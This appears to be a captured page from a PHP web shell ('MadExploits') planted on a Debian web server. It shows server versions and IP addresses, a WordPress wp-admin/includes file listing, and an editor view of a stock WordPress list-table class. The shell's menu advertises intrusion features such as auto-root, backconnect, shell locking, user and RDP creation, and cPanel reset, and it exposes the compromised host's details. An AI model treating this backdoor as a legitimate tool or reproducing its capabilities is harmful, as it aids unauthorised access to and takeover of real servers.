Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.138.101.51
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ilpnowa /
web /
wp-admin /
includes /
[ HOME SHELL ]
Name
Size
Permission
Action
admin-filters.php
7.01
KB
-rw-r--r--
admin.php
2.88
KB
-rw-r--r--
ajax-actions.php
125.8
KB
-rw-r--r--
bookmark.php
8.88
KB
-rw-r--r--
class-automatic-upgrader-skin....
3.03
KB
-rw-r--r--
class-bulk-plugin-upgrader-ski...
1.85
KB
-rw-r--r--
class-bulk-theme-upgrader-skin...
1.89
KB
-rw-r--r--
class-bulk-upgrader-skin.php
5.08
KB
-rw-r--r--
class-core-upgrader.php
13.07
KB
-rw-r--r--
class-file-upload-upgrader.php
3.18
KB
-rw-r--r--
class-ftp-pure.php
5.27
KB
-rw-r--r--
class-ftp-sockets.php
8.25
KB
-rw-r--r--
class-ftp.php
26.46
KB
-rw-r--r--
class-language-pack-upgrader-s...
2.13
KB
-rw-r--r--
class-language-pack-upgrader.p...
10.81
KB
-rw-r--r--
class-pclzip.php
191.21
KB
-rw-r--r--
class-plugin-installer-skin.ph...
4.21
KB
-rw-r--r--
class-plugin-upgrader-skin.php
2.5
KB
-rw-r--r--
class-plugin-upgrader.php
14.32
KB
-rw-r--r--
class-theme-installer-skin.php
3.99
KB
-rw-r--r--
class-theme-upgrader-skin.php
3.34
KB
-rw-r--r--
class-theme-upgrader.php
19.04
KB
-rw-r--r--
class-walker-category-checklis...
4.12
KB
-rw-r--r--
class-walker-nav-menu-checklis...
4.81
KB
-rw-r--r--
class-walker-nav-menu-edit.php
10.94
KB
-rw-r--r--
class-wp-ajax-upgrader-skin.ph...
3
KB
-rw-r--r--
class-wp-automatic-updater.php
33.23
KB
-rw-r--r--
class-wp-comments-list-table.p...
25.04
KB
-rw-r--r--
class-wp-community-events.php
15.55
KB
-rw-r--r--
class-wp-filesystem-base.php
21.66
KB
-rw-r--r--
class-wp-filesystem-direct.php
10.96
KB
-rw-r--r--
class-wp-filesystem-ftpext.php
13.15
KB
-rw-r--r--
class-wp-filesystem-ftpsockets...
10.34
KB
-rw-r--r--
class-wp-filesystem-ssh2.php
14.61
KB
-rw-r--r--
class-wp-importer.php
7.17
KB
-rw-r--r--
class-wp-internal-pointers.php
5.39
KB
-rw-r--r--
class-wp-links-list-table.php
7.42
KB
-rw-r--r--
class-wp-list-table-compat.php
1.04
KB
-rw-r--r--
class-wp-list-table.php
36.46
KB
-rw-r--r--
class-wp-media-list-table.php
22.11
KB
-rw-r--r--
class-wp-ms-sites-list-table.p...
15.19
KB
-rw-r--r--
class-wp-ms-themes-list-table....
19.76
KB
-rw-r--r--
class-wp-ms-users-list-table.p...
12.54
KB
-rw-r--r--
class-wp-plugin-install-list-t...
18.89
KB
-rw-r--r--
class-wp-plugins-list-table.ph...
32.05
KB
-rw-r--r--
class-wp-post-comments-list-ta...
1.44
KB
-rw-r--r--
class-wp-posts-list-table.php
51.48
KB
-rw-r--r--
class-wp-screen.php
34.46
KB
-rw-r--r--
class-wp-site-icon.php
5.9
KB
-rw-r--r--
class-wp-terms-list-table.php
17.54
KB
-rw-r--r--
class-wp-theme-install-list-ta...
14.18
KB
-rw-r--r--
class-wp-themes-list-table.php
9.05
KB
-rw-r--r--
class-wp-upgrader-skin.php
4.94
KB
-rw-r--r--
class-wp-upgrader-skins.php
1.42
KB
-rw-r--r--
class-wp-upgrader.php
33.12
KB
-rw-r--r--
class-wp-users-list-table.php
16.88
KB
-rw-r--r--
comment.php
5.59
KB
-rw-r--r--
continents-cities.php
19.22
KB
-rw-r--r--
credits.php
2.14
KB
-rw-r--r--
dashboard.php
62.08
KB
-rw-r--r--
deprecated.php
38.25
KB
-rw-r--r--
edit-tag-messages.php
1.38
KB
-rw-r--r--
export.php
22.43
KB
-rw-r--r--
file.php
80.25
KB
-rw-r--r--
image-edit.php
32.77
KB
-rw-r--r--
image.php
21.58
KB
-rw-r--r--
import.php
6.1
KB
-rw-r--r--
list-table.php
2.59
KB
-rw-r--r--
media.php
103.83
KB
-rw-r--r--
menu.php
8.51
KB
-rw-r--r--
meta-boxes.php
51
KB
-rw-r--r--
misc.php
62.76
KB
-rw-r--r--
ms-admin-filters.php
1.35
KB
-rw-r--r--
ms-deprecated.php
2.79
KB
-rw-r--r--
ms.php
34.58
KB
-rw-r--r--
nav-menu.php
41.47
KB
-rw-r--r--
network.php
23.32
KB
-rw-r--r--
noop.php
1.19
KB
-rw-r--r--
options.php
3.74
KB
-rw-r--r--
plugin-install.php
30.96
KB
-rw-r--r--
plugin.php
67.06
KB
-rw-r--r--
post.php
58.73
KB
-rw-r--r--
revision.php
14.6
KB
-rw-r--r--
schema.php
35.38
KB
-rw-r--r--
screen.php
6
KB
-rw-r--r--
taxonomy.php
7.55
KB
-rw-r--r--
template.php
78.54
KB
-rw-r--r--
theme-install.php
6.14
KB
-rw-r--r--
theme.php
27.67
KB
-rw-r--r--
translation-install.php
8.35
KB
-rw-r--r--
update-core.php
54.46
KB
-rw-r--r--
update.php
25.27
KB
-rw-r--r--
upgrade.php
93.63
KB
-rw-r--r--
user.php
48.88
KB
-rw-r--r--
widgets.php
9.77
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : class-wp-ms-sites-list-table.php
<?php /** * List Table API: WP_MS_Sites_List_Table class * * @package WordPress * @subpackage Administration * @since 3.1.0 */ /** * Core class used to implement displaying sites in a list table for the network admin. * * @since 3.1.0 * @access private * * @see WP_List_Table */ class WP_MS_Sites_List_Table extends WP_List_Table { /** * Site status list. * * @since 4.3.0 * @var array */ public $status_list; /** * Constructor. * * @since 3.1.0 * * @see WP_List_Table::__construct() for more information on default arguments. * * @param array $args An associative array of arguments. */ public function __construct( $args = array() ) { $this->status_list = array( 'archived' => array( 'site-archived', __( 'Archived' ) ), 'spam' => array( 'site-spammed', _x( 'Spam', 'site' ) ), 'deleted' => array( 'site-deleted', __( 'Deleted' ) ), 'mature' => array( 'site-mature', __( 'Mature' ) ) ); parent::__construct( array( 'plural' => 'sites', 'screen' => isset( $args['screen'] ) ? $args['screen'] : null, ) ); } /** * * @return bool */ public function ajax_user_can() { return current_user_can( 'manage_sites' ); } /** * Prepares the list of sites for display. * * @since 3.1.0 * * @global string $s * @global string $mode * @global wpdb $wpdb */ public function prepare_items() { global $s, $mode, $wpdb; if ( ! empty( $_REQUEST['mode'] ) ) { $mode = $_REQUEST['mode'] === 'excerpt' ? 'excerpt' : 'list'; set_user_setting( 'sites_list_mode', $mode ); } else { $mode = get_user_setting( 'sites_list_mode', 'list' ); } $per_page = $this->get_items_per_page( 'sites_network_per_page' ); $pagenum = $this->get_pagenum(); $s = isset( $_REQUEST['s'] ) ? wp_unslash( trim( $_REQUEST[ 's' ] ) ) : ''; $wild = ''; if ( false !== strpos($s, '*') ) { $wild = '*'; $s = trim($s, '*'); } /* * If the network is large and a search is not being performed, show only * the latest sites with no paging in order to avoid expensive count queries. */ if ( !$s && wp_is_large_network() ) { if ( !isset($_REQUEST['orderby']) ) $_GET['orderby'] = $_REQUEST['orderby'] = ''; if ( !isset($_REQUEST['order']) ) $_GET['order'] = $_REQUEST['order'] = 'DESC'; } $args = array( 'number' => intval( $per_page ), 'offset' => intval( ( $pagenum - 1 ) * $per_page ), 'network_id' => get_current_network_id(), ); if ( empty($s) ) { // Nothing to do. } elseif ( preg_match( '/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$/', $s ) || preg_match( '/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.?$/', $s ) || preg_match( '/^[0-9]{1,3}\.[0-9]{1,3}\.?$/', $s ) || preg_match( '/^[0-9]{1,3}\.$/', $s ) ) { // IPv4 address $sql = $wpdb->prepare( "SELECT blog_id FROM {$wpdb->registration_log} WHERE {$wpdb->registration_log}.IP LIKE %s", $wpdb->esc_like( $s ) . ( ! empty( $wild ) ? '%' : '' ) ); $reg_blog_ids = $wpdb->get_col( $sql ); if ( $reg_blog_ids ) { $args['site__in'] = $reg_blog_ids; } } elseif ( is_numeric( $s ) && empty( $wild ) ) { $args['ID'] = $s; } else { $args['search'] = $s; if ( ! is_subdomain_install() ) { $args['search_columns'] = array( 'path' ); } } $order_by = isset( $_REQUEST['orderby'] ) ? $_REQUEST['orderby'] : ''; if ( 'registered' === $order_by ) { // registered is a valid field name. } elseif ( 'lastupdated' === $order_by ) { $order_by = 'last_updated'; } elseif ( 'blogname' === $order_by ) { if ( is_subdomain_install() ) { $order_by = 'domain'; } else { $order_by = 'path'; } } elseif ( 'blog_id' === $order_by ) { $order_by = 'id'; } elseif ( ! $order_by ) { $order_by = false; } $args['orderby'] = $order_by; if ( $order_by ) { $args['order'] = ( isset( $_REQUEST['order'] ) && 'DESC' === strtoupper( $_REQUEST['order'] ) ) ? "DESC" : "ASC"; } if ( wp_is_large_network() ) { $args['no_found_rows'] = true; } else { $args['no_found_rows'] = false; } /** * Filters the arguments for the site query in the sites list table. * * @since 4.6.0 * * @param array $args An array of get_sites() arguments. */ $args = apply_filters( 'ms_sites_list_table_query_args', $args ); $_sites = get_sites( $args ); if ( is_array( $_sites ) ) { update_site_cache( $_sites ); $this->items = array_slice( $_sites, 0, $per_page ); } $total_sites = get_sites( array_merge( $args, array( 'count' => true, 'offset' => 0, 'number' => 0, ) ) ); $this->set_pagination_args( array( 'total_items' => $total_sites, 'per_page' => $per_page, ) ); } /** */ public function no_items() { _e( 'No sites found.' ); } /** * * @return array */ protected function get_bulk_actions() { $actions = array(); if ( current_user_can( 'delete_sites' ) ) $actions['delete'] = __( 'Delete' ); $actions['spam'] = _x( 'Mark as Spam', 'site' ); $actions['notspam'] = _x( 'Not Spam', 'site' ); return $actions; } /** * @global string $mode List table view mode. * * @param string $which */ protected function pagination( $which ) { global $mode; parent::pagination( $which ); if ( 'top' === $which ) $this->view_switcher( $mode ); } /** * @return array */ public function get_columns() { $sites_columns = array( 'cb' => '<input type="checkbox" />', 'blogname' => __( 'URL' ), 'lastupdated' => __( 'Last Updated' ), 'registered' => _x( 'Registered', 'site' ), 'users' => __( 'Users' ), ); if ( has_filter( 'wpmublogsaction' ) ) { $sites_columns['plugins'] = __( 'Actions' ); } /** * Filters the displayed site columns in Sites list table. * * @since MU (3.0.0) * * @param array $sites_columns An array of displayed site columns. Default 'cb', * 'blogname', 'lastupdated', 'registered', 'users'. */ return apply_filters( 'wpmu_blogs_columns', $sites_columns ); } /** * @return array */ protected function get_sortable_columns() { return array( 'blogname' => 'blogname', 'lastupdated' => 'lastupdated', 'registered' => 'blog_id', ); } /** * Handles the checkbox column output. * * @since 4.3.0 * * @param array $blog Current site. */ public function column_cb( $blog ) { if ( ! is_main_site( $blog['blog_id'] ) ) : $blogname = untrailingslashit( $blog['domain'] . $blog['path'] ); ?> <label class="screen-reader-text" for="blog_<?php echo $blog['blog_id']; ?>"><?php printf( __( 'Select %s' ), $blogname ); ?></label> <input type="checkbox" id="blog_<?php echo $blog['blog_id'] ?>" name="allblogs[]" value="<?php echo esc_attr( $blog['blog_id'] ) ?>" /> <?php endif; } /** * Handles the ID column output. * * @since 4.4.0 * * @param array $blog Current site. */ public function column_id( $blog ) { echo $blog['blog_id']; } /** * Handles the site name column output. * * @since 4.3.0 * * @global string $mode List table view mode. * * @param array $blog Current site. */ public function column_blogname( $blog ) { global $mode; $blogname = untrailingslashit( $blog['domain'] . $blog['path'] ); $blog_states = array(); reset( $this->status_list ); foreach ( $this->status_list as $status => $col ) { if ( $blog[ $status ] == 1 ) { $blog_states[] = $col[1]; } } $blog_state = ''; if ( ! empty( $blog_states ) ) { $state_count = count( $blog_states ); $i = 0; $blog_state .= ' — '; foreach ( $blog_states as $state ) { ++$i; $sep = ( $i == $state_count ) ? '' : ', '; $blog_state .= "<span class='post-state'>$state$sep</span>"; } } ?> <strong> <a href="<?php echo esc_url( network_admin_url( 'site-info.php?id=' . $blog['blog_id'] ) ); ?>" class="edit"><?php echo $blogname; ?></a> <?php echo $blog_state; ?> </strong> <?php if ( 'list' !== $mode ) { switch_to_blog( $blog['blog_id'] ); echo '<p>'; printf( /* translators: 1: site name, 2: site tagline. */ __( '%1$s – %2$s' ), get_option( 'blogname' ), '<em>' . get_option( 'blogdescription ' ) . '</em>' ); echo '</p>'; restore_current_blog(); } } /** * Handles the lastupdated column output. * * @since 4.3.0 * * @global string $mode List table view mode. * * @param array $blog Current site. */ public function column_lastupdated( $blog ) { global $mode; if ( 'list' === $mode ) { $date = __( 'Y/m/d' ); } else { $date = __( 'Y/m/d g:i:s a' ); } echo ( $blog['last_updated'] === '0000-00-00 00:00:00' ) ? __( 'Never' ) : mysql2date( $date, $blog['last_updated'] ); } /** * Handles the registered column output. * * @since 4.3.0 * * @global string $mode List table view mode. * * @param array $blog Current site. */ public function column_registered( $blog ) { global $mode; if ( 'list' === $mode ) { $date = __( 'Y/m/d' ); } else { $date = __( 'Y/m/d g:i:s a' ); } if ( $blog['registered'] === '0000-00-00 00:00:00' ) { echo '—'; } else { echo mysql2date( $date, $blog['registered'] ); } } /** * Handles the users column output. * * @since 4.3.0 * * @param array $blog Current site. */ public function column_users( $blog ) { $user_count = wp_cache_get( $blog['blog_id'] . '_user_count', 'blog-details' ); if ( ! $user_count ) { $blog_users = get_users( array( 'blog_id' => $blog['blog_id'], 'fields' => 'ID' ) ); $user_count = count( $blog_users ); unset( $blog_users ); wp_cache_set( $blog['blog_id'] . '_user_count', $user_count, 'blog-details', 12 * HOUR_IN_SECONDS ); } printf( '<a href="%s">%s</a>', esc_url( network_admin_url( 'site-users.php?id=' . $blog['blog_id'] ) ), number_format_i18n( $user_count ) ); } /** * Handles the plugins column output. * * @since 4.3.0 * * @param array $blog Current site. */ public function column_plugins( $blog ) { if ( has_filter( 'wpmublogsaction' ) ) { /** * Fires inside the auxiliary 'Actions' column of the Sites list table. * * By default this column is hidden unless something is hooked to the action. * * @since MU (3.0.0) * * @param int $blog_id The site ID. */ do_action( 'wpmublogsaction', $blog['blog_id'] ); } } /** * Handles output for the default column. * * @since 4.3.0 * * @param array $blog Current site. * @param string $column_name Current column name. */ public function column_default( $blog, $column_name ) { /** * Fires for each registered custom column in the Sites list table. * * @since 3.1.0 * * @param string $column_name The name of the column to display. * @param int $blog_id The site ID. */ do_action( 'manage_sites_custom_column', $column_name, $blog['blog_id'] ); } /** * * @global string $mode */ public function display_rows() { foreach ( $this->items as $blog ) { $blog = $blog->to_array(); $class = ''; reset( $this->status_list ); foreach ( $this->status_list as $status => $col ) { if ( $blog[ $status ] == 1 ) { $class = " class='{$col[0]}'"; } } echo "<tr{$class}>"; $this->single_row_columns( $blog ); echo '</tr>'; } } /** * Gets the name of the default primary column. * * @since 4.3.0 * * @return string Name of the default primary column, in this case, 'blogname'. */ protected function get_default_primary_column_name() { return 'blogname'; } /** * Generates and displays row action links. * * @since 4.3.0 * * @param object $blog Site being acted upon. * @param string $column_name Current column name. * @param string $primary Primary column name. * @return string Row actions output. */ protected function handle_row_actions( $blog, $column_name, $primary ) { if ( $primary !== $column_name ) { return; } $blogname = untrailingslashit( $blog['domain'] . $blog['path'] ); // Preordered. $actions = array( 'edit' => '', 'backend' => '', 'activate' => '', 'deactivate' => '', 'archive' => '', 'unarchive' => '', 'spam' => '', 'unspam' => '', 'delete' => '', 'visit' => '', ); $actions['edit'] = '<a href="' . esc_url( network_admin_url( 'site-info.php?id=' . $blog['blog_id'] ) ) . '">' . __( 'Edit' ) . '</a>'; $actions['backend'] = "<a href='" . esc_url( get_admin_url( $blog['blog_id'] ) ) . "' class='edit'>" . __( 'Dashboard' ) . '</a>'; if ( get_network()->site_id != $blog['blog_id'] ) { if ( $blog['deleted'] == '1' ) { $actions['activate'] = '<a href="' . esc_url( wp_nonce_url( network_admin_url( 'sites.php?action=confirm&action2=activateblog&id=' . $blog['blog_id'] ), 'activateblog_' . $blog['blog_id'] ) ) . '">' . __( 'Activate' ) . '</a>'; } else { $actions['deactivate'] = '<a href="' . esc_url( wp_nonce_url( network_admin_url( 'sites.php?action=confirm&action2=deactivateblog&id=' . $blog['blog_id'] ), 'deactivateblog_' . $blog['blog_id'] ) ) . '">' . __( 'Deactivate' ) . '</a>'; } if ( $blog['archived'] == '1' ) { $actions['unarchive'] = '<a href="' . esc_url( wp_nonce_url( network_admin_url( 'sites.php?action=confirm&action2=unarchiveblog&id=' . $blog['blog_id'] ), 'unarchiveblog_' . $blog['blog_id'] ) ) . '">' . __( 'Unarchive' ) . '</a>'; } else { $actions['archive'] = '<a href="' . esc_url( wp_nonce_url( network_admin_url( 'sites.php?action=confirm&action2=archiveblog&id=' . $blog['blog_id'] ), 'archiveblog_' . $blog['blog_id'] ) ) . '">' . _x( 'Archive', 'verb; site' ) . '</a>'; } if ( $blog['spam'] == '1' ) { $actions['unspam'] = '<a href="' . esc_url( wp_nonce_url( network_admin_url( 'sites.php?action=confirm&action2=unspamblog&id=' . $blog['blog_id'] ), 'unspamblog_' . $blog['blog_id'] ) ) . '">' . _x( 'Not Spam', 'site' ) . '</a>'; } else { $actions['spam'] = '<a href="' . esc_url( wp_nonce_url( network_admin_url( 'sites.php?action=confirm&action2=spamblog&id=' . $blog['blog_id'] ), 'spamblog_' . $blog['blog_id'] ) ) . '">' . _x( 'Spam', 'site' ) . '</a>'; } if ( current_user_can( 'delete_site', $blog['blog_id'] ) ) { $actions['delete'] = '<a href="' . esc_url( wp_nonce_url( network_admin_url( 'sites.php?action=confirm&action2=deleteblog&id=' . $blog['blog_id'] ), 'deleteblog_' . $blog['blog_id'] ) ) . '">' . __( 'Delete' ) . '</a>'; } } $actions['visit'] = "<a href='" . esc_url( get_home_url( $blog['blog_id'], '/' ) ) . "' rel='bookmark'>" . __( 'Visit' ) . '</a>'; /** * Filters the action links displayed for each site in the Sites list table. * * The 'Edit', 'Dashboard', 'Delete', and 'Visit' links are displayed by * default for each site. The site's status determines whether to show the * 'Activate' or 'Deactivate' link, 'Unarchive' or 'Archive' links, and * 'Not Spam' or 'Spam' link for each site. * * @since 3.1.0 * * @param array $actions An array of action links to be displayed. * @param int $blog_id The site ID. * @param string $blogname Site path, formatted depending on whether it is a sub-domain * or subdirectory multisite installation. */ $actions = apply_filters( 'manage_sites_action_links', array_filter( $actions ), $blog['blog_id'], $blogname ); return $this->row_actions( $actions ); } }
Close